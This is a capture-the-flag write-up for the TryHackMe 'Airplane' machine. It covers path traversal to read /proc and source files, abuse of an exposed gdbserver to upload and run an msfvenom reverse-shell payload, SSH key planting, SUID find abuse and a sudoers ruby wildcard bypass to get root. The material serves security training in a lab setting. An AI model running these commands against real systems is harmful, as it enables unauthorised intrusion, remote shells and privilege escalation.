Airplane | TryHackMe

Information Gathering

Scanned all TCP ports:

rustscan -a 10.10.121.174
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

Open 10.10.121.174:22
Open 10.10.121.174:6048
Open 10.10.121.174:8000

Enumerated open TCP ports:

nmap -p22,8000,6048 -sC -sV --min-rate=10000 10.10.121.174 -oA nmap/services
# Nmap 7.80 scan initiated Mon Jul 29 17:10:23 2024 as: nmap -p22,8000,6048 -sC -sV -vv --min-rate 10000 -oA nmap/services 10.10.121.174
Nmap scan report for airplane.thm (10.10.121.174)
Host is up, received conn-refused (0.46s latency).
Scanned at 2024-07-29 17:10:23 IST for 195s

PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
6048/tcp open  x11?     syn-ack
8000/tcp open  http-alt syn-ack Werkzeug/3.0.2 Python/3.8.10
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Mon, 29 Jul 2024 11:40:38 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Mon, 29 Jul 2024 11:40:32 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 269
|     Location: http://airplane.thm:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
| http-title: About Airplanes
|_Requested resource was http://airplane.thm:8000/?page=index.html
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=7/29%Time=66A77FB0%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1F3,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.2\
SF:x20Python/3\.8\.10\r\nDate:\x20Mon,\x2029\x20Jul\x202024\x2011:40:32\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x20269\r\nLocation:\x20http://airplane\.thm:8000/\?page=index\.html\r\
SF:nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<ti
SF:tle>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20sh
SF:ould\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20URL
SF::\x20<a\x20href=\"http://airplane\.thm:8000/\?page=index\.html\">http:/
SF:/airplane\.thm:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x20
SF:the\x20link\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20F
SF:OUND\r\nServer:\x20Werkzeug/3\.0\.2\x20Python/3\.8\.10\r\nDate:\x20Mon,
SF:\x2029\x20Jul\x202024\x2011:40:38\x20GMT\r\nContent-Type:\x20text/html;
SF:\x20charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r\n
SF:\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</
SF:title>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not
SF:\x20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20UR
SF:L\x20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x20a
SF:gain\.</p>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//D
SF:TD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www
SF:\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20con
SF:tent=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<tit
SF:le>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20
SF:<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x05
SF:\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_RE
SF:QUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.
SF:</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 29 17:13:38 2024 -- 1 IP address (1 host up) scanned in 195.14 seconds

Enumeration

Port 8000 - HTTP (Flask 3.0.2)

Going to port 8000 redirect us to airplane.thm:8000/?page=index.html Let’s add airplane.thm to /etd/hosts:

echo -e '10.10.121.174\tairplane.thm' | sudo tee -a /etc/hosts

Exploitation

Path traversal

After seeing the page parameter I first tried path traversal.

It worked. I am using httpie btw.

Since the website is running on flask I tried if we can access /console. Often if we have access to the debug console we can use path traversal to get some system information for generating the console pin and getting a remote shell. You can check this article to find more about this attack.

But as you can see the debug mode is not enabled.

Next I tried to retrieve ssh keys if there’s any. From the /etc/passwd file we can see that there are 3 users: root, carlos, and hudson

It does not exists or the current user can’t access it maybe because we are www-data or something. In linux if we have a path traversal we can use some files in the /proc directory to retrieve valuable informations about the machine. Check this article for more info about this attack vector. Here are some of the locations that you can check:

/proc/version      - Kernel version
/proc/self/environ - Environment variables of the current process
/proc/self/cmdline - Process invocation command with parameters
/proc/self/cwd/    - Points to the current working directory
/proc/sched_debug  - Scheduling information and running processes per CPU

Unfortunately http does not output binary data. Note that the content of the /proc/self/environ is marked as binary data because it is using null bytes as a seperator instead of using new line (\n) or space. So back to curl again…

To fix the output we can easily pipe that into sed and replace the null bytes to new line characters to get a clean output.

curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/self/environ' --silent --output - | sed -e 's/\x0/\n/g'
# When dealing with stdin we use -e or --expression instead of -i
# The format is like `s/find/replace/g`
# s   -> search
# \x0 -> null byte
# \n  -> new line
# g   -> means global, all occurances will be replaced

We can see that the current user is hudson. We already checked the ssh key in the home directory of hudson. And now we can confirm that it does not exist.

curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/self/cmdline' --silent --output - | sed -e 's/\x0/\n/g'

/usr/bin/python3
app.py

I tried to read the content of the app.py file

curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/self/cwd/app.py' --silent --output - | sed -e 's/\x0/\n/g'
from flask import Flask, send_file, redirect, render_template, request
import os.path

app = Flask(__name__)


@app.route('/')
def index():
    if 'page' in request.args:
        page = 'static/' + request.args.get('page')

        if os.path.isfile(page):
            resp = send_file(page)
            resp.direct_passthrough = False

            if os.path.getsize(page) == 0:
                resp.headers["Content-Length"]=str(len(resp.get_data()))

            return resp

        else:
            return "Page not found"

    else:
        return redirect('http://airplane.thm:8000/?page=index.html', code=302)


@app.route('/airplane')
def airplane():
    return render_template('airplane.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

Nothing interesting in there either. Then I tried to look into the /proc/sched_debug to get information about the running processes.

curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/sched_debug' --silent --output - | sed -e 's/\x0/\n/g'

It generates a long output of all the running processes. After skimming through it I found some python processes:

We can check what the command is by using the pid of the process:

curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/$PID/cmdline' --silent --output - | sed -e 's/\x0/\n/g'

Nothing important there, its our flask app

I also saw a gdbserver instance in there.

curl --path-as-is '10.10.121.174:8000/?page=../../../../../../proc/527/cmdline' --silent --output - | sed -e 's/\x0/\n/g'

/usr/bin/gdbserver
0.0.0.0:6048
airplane

The gdbserver is running on port 6048. I tried some searching and found out that if remote debugging is enabled in gdb, we can upload a reverse shell and execute it. https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver

# Generate the payload using msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=1234 PrependFork=true -f elf -o binary.elf
chmod +x ./binary.elf

# open gdb
gdb ./binary.elf
target extended-remote 10.10.121.174:6048
remote put binary.elf /dev/shm/binary.elf
set remote exec-file /dev/shm/binary.elf
run

NOTE: If you are using peda, gef or any other gdb enhancement tools, start gdb using the -nx flag otherwise it cause some error when using remote debugging: gdb -nx ./binary.elf

Got shell.

Check out rlwrap It can be used with commands like nc to be able to use the arrow keys for editing and accessing the command history etc. in a limited shell environment.

I added an ssh key to hudson’s home directory anyway…

ssh-keygen -t ed25519 -N '' -f ./ctf

This command will generate 2 files - ctf and ctf.pub. ctf is the private key that we use to log in and ctf.pub contains the public key that we copy to the machine. Copy the content of the ctf.pub file to /home/hudson/.ssh/authoried_keys

echo 'ssh-...' > /home/hudson/.ssh/authorized_keys

Now we can login as hudson through ssh

chmod 600 ctf
ssh hudson@airplane.thm -i ctf

Lateral Movement to carlos

Local Enumeration

Finding SUID binaries

find / -type f -perm -u=s -exec ls -alp {} \; 2>/dev/null

SUID: Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Those files which have suid permissions run with higher privileges. To learn more about Privilege Escalation using SUID binaries checkout this article

Lateral Movement

We can use the -exec argument in the find command to execute commands as user carlos. So to gain shell access as carlos we just need to run:

find -exec bash -ip \;

I put the ssh key into carlos as well. SSH is better.


Privilege Escalation

It means that we can run ruby scripts using /usr/bin/ruby with sudo without using password. But it also ensures that we can only run scripts located inside the /root/ directory. And to check whether the givin script is present in the /root directory they uses * character. We can bypass this check easily because we can replace the * with any character we want, and we can exploit it similiarly to a path traversal attack. For that we create a ruby script in /tmp or any other directory and when running it we use relative path to that of the /root directory. For example /tmp/shell.rb becomes /root/../tmp/shell.rb. Note that this matches the /root/*.rb check in the sudoers file.

echo 'system("/bin/bash -ip");' > /tmp/shell.rb
sudo /usr/bin/ruby /root/../tmp/shell.rb

If you want to learn more about this type of attacks, check out this article


Resources

updated at 2024-07-29